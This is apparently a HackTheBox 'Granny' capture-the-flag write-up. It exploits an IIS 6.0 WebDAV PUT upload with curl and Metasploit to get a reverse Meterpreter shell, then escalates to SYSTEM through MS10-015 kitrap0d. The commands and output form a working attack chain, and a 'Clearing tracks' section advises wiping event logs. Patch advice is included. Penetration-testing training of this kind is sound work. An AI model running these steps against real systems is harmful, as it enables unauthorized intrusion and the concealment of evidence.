HackTheBox - Granny (Easy)

Table of contents

Enumeration

Nmap scan

```
# Nmap 7.94 scan initiated Tue Jul 18 16:22:21 2023 as: nmap -A -p- -T5 -oN nmapResults.txt 10.129.95.234
Nmap scan report for 10.129.95.234
Host is up (0.027s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods: 
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
| http-webdav-scan: 
|   WebDAV type: Unknown
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Server Date: Tue, 18 Jul 2023 20:23:20 GMT
|   Server Type: Microsoft-IIS/6.0
|_  Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_http-title: Under Construction
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 18 16:23:26 2023 -- 1 IP address (1 host up) scanned in 65.34 seconds
```

Microsoft IIS exploitation

According to Nmap, the web server accepts the PUT method, which allows us to upload files to the web server. Before trying to exploit this, let’s just make a simple test :

```
┌──(kali㉿kali)-[~/…/HTB/CTF/Easy/Granny]
└─$ echo 'File upload works !' > file.txt

┌──(kali㉿kali)-[~/…/HTB/CTF/Easy/Granny]
└─$ curl -X PUT http://10.129.95.234/file.txt --upload-file file.txt

┌──(kali㉿kali)-[~/…/HTB/CTF/Easy/Granny]
└─$ curl -X GET http://10.129.95.234/file.txt
File upload works !
```

We successfully uploaded an arbitrary file to the web server. We can leverage this to upload a malicious ASP, ASPX or PHP file in order to gain a reverse shell on the system. To do so, we can use the Metasploit Framework :

```
msf6 > use exploit/windows/iis/iis_webdav_upload_asp
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set RHOSTS 10.129.95.234
RHOSTS => 10.129.95.234
msf6 exploit(windows/iis/iis_webdav_upload_asp) > set LHOST tun0
LHOST => 10.10.14.93
msf6 exploit(windows/iis/iis_webdav_upload_asp) > run

[*] Started reverse TCP handler on 10.10.14.93:4444
[*] Checking /metasploit110049367.asp
[*] Uploading 610891 bytes to /metasploit110049367.txt...
[*] Moving /metasploit110049367.txt to /metasploit110049367.asp...
[*] Executing /metasploit110049367.asp...
[*] Deleting /metasploit110049367.asp (this doesn't always work)...
[*] Sending stage (175686 bytes) to 10.129.95.234
[!] Deletion failed on /metasploit110049367.asp [403 Forbidden]
[*] Meterpreter session 1 opened (10.10.14.93:4444 -> 10.129.95.234:1030) at 2023-07-1
8 16:42:54 -0400

meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
```

We have a reverse meterpreter shell, but it seems we have very low privileges. Let's migrate to another process to remediate this :

```
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System
 272   4     smss.exe
[CROPPED]
 1612  392   svchost.exe
 1784  392   dllhost.exe
 1956  392   alg.exe
 1984  584   wmiprvse.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOW
S\system32\wbem\wmiprvse.exe
 2100  344   logon.scr
 2180  1500  w3wp.exe           x86   0        NT AUTHORITY\NETWORK SERVICE  c:\window
s\system32\inetsrv\w3wp.exe
 2184  584   davcdata.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOW
S\system32\inetsrv\davcdata.exe
 2468  584   wmiprvse.exe
 3632  2180  svchost.exe        x86   0                                      C:\WINDOW
S\Temp\rad92FD6.tmp\svchost.exe
 3912  1092  cidaemon.exe
 3960  1092  cidaemon.exe
 3996  1092  cidaemon.exe
```

```
meterpreter > migrate 2184
[*] Migrating from 3632 to 2184...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
```

Now, we have a meterpreter shell as `NT AUTHORITY\NETWORK SERVICE`.

Local enumeration

Let's use the `post/multi/recon/local_exploit_suggester` module to enumerate potential local exploits for privilege escalation :

```
msf6 exploit(windows/iis/iis_webdav_upload_asp) > use post/multi/recon/local_exploit_s
uggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.129.95.234 - Collecting local exploits for x86/windows...
[*] 10.129.95.234 - 186 exploit checks are being tried...
[+] 10.129.95.234 - exploit/windows/local/ms10_015_kitrap0d: The service is running, b
ut could not be validated.
[+] 10.129.95.234 - exploit/windows/local/ms14_058_track_popup_menu: The target appear
s to be vulnerable.
[+] 10.129.95.234 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to
be vulnerable.
[+] 10.129.95.234 - exploit/windows/local/ms15_051_client_copy_image: The target appea
rs to be vulnerable.
[+] 10.129.95.234 - exploit/windows/local/ms16_016_webdav: The service is running, but
could not be validated.
[+] 10.129.95.234 - exploit/windows/local/ms16_075_reflection: The target appears to b
e vulnerable.
[+] 10.129.95.234 - exploit/windows/local/ppr_flatten_rec: The target appears to be vu
lnerable.
[*] Running check method for exploit 41 / 41
[*] 10.129.95.234 - Valid modules for session 1:
============================

 #   Name                                                            Potentially Vulner
able?  Check Result
 -   ----                                                            ------------------
-----  ------------
 1   exploit/windows/local/ms10_015_kitrap0d                         Yes
The service is running, but could not be validated.
 2   exploit/windows/local/ms14_058_track_popup_menu                 Yes
The target appears to be vulnerable.
 3   exploit/windows/local/ms14_070_tcpip_ioctl                      Yes
The target appears to be vulnerable.
 4   exploit/windows/local/ms15_051_client_copy_image                Yes
The target appears to be vulnerable.
```

```
 5   exploit/windows/local/ms16_016_webdav                          Yes
The service is running, but could not be validated.
 6   exploit/windows/local/ms16_075_reflection                      Yes
The target appears to be vulnerable.
 7   exploit/windows/local/ppr_flatten_rec                          Yes
The target appears to be vulnerable.
 8   exploit/windows/local/adobe_sandbox_adobecollabsync            No
Cannot reliably check exploitability.
 9   exploit/windows/local/agnitum_outpost_acs                      No
The target is not exploitable.
 10  exploit/windows/local/always_install_elevated                  No
The target is not exploitable.
 11  exploit/windows/local/anyconnect_lpe                           No
The target is not exploitable. vpndownloader.exe not found on file system
[CROPPED]
```

Privilege escalation

Let's try to use the `exploit/windows/local/ms10_015_kitrap0d` module to exploit **MS10-015** in order to gain a shell as `NT AUTHORITY\SYSTEM` :

```
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_015_ki
trap0d
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_015_kitrap0d) > set session 1
session => 1
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/local/ms10_015_kitrap0d) > run

[*] Started reverse TCP handler on 10.10.14.93:4444
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 3128 launched.
[*] Reflectively injecting the DLL into 3128...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175686 bytes) to 10.129.95.234
[*] Meterpreter session 2 opened (10.10.14.93:4444 -> 10.129.95.234:1032) at 2023-07-1
8 16:55:59 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

We have now a reverse meterpreter shell as `NT AUTHORITY\SYSTEM`.

Clearing tracks

- Remove logs using the `clearev` command with the meterpreter

- Remove `file.exe` from `C:\Inetpub\wwwroot`
- Remove `metasploit110049367.asp` from `C:\Inetpub\wwwroot`

Vulnerabilities summary

Web server misconfiguration

Pentester evaluation

- Score : **9.8 CRITICAL**
- Impact : Allows an attacker to upload arbitrary files. An attacker can leverage this vulnerability to upload a malicious file in order to execute a reverse shell and gain a foothold on the system as `NT AUTHORITY\NETWORK SERVICE`.

Patch proposition

Reconfigure the server to prevent unauthenticated users from using sensitive HTTP methods like PUT, DELETE etc…

MS10-015

Pentester evaluation

- Score : **9.3 CRITICAL**
- Impact : Allows an attacker to elevate his privileges in order to gain access to the system as `NT AUTHORITY\SYSTEM`.

Patch proposition

Update the system through Windows Update.

Tools used

- Nmap ← scan open ports and service versions
- curl ← send HTTP requests to the web server
- Metasploit Framework ← run exploits against the target system

Sources

- HTTP PUT method : https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/PUT
- MS10-015 (kitrap0d) : https://vk9-sec.com/kitrap0d-windows-kernel-could-allow-elevation-of-privilege-ms10-015-cve-2010-0232/
- NIST NVD CVE-2010-0232 (kitrap0d) : https://nvd.nist.gov/vuln/detail/CVE-2010-0232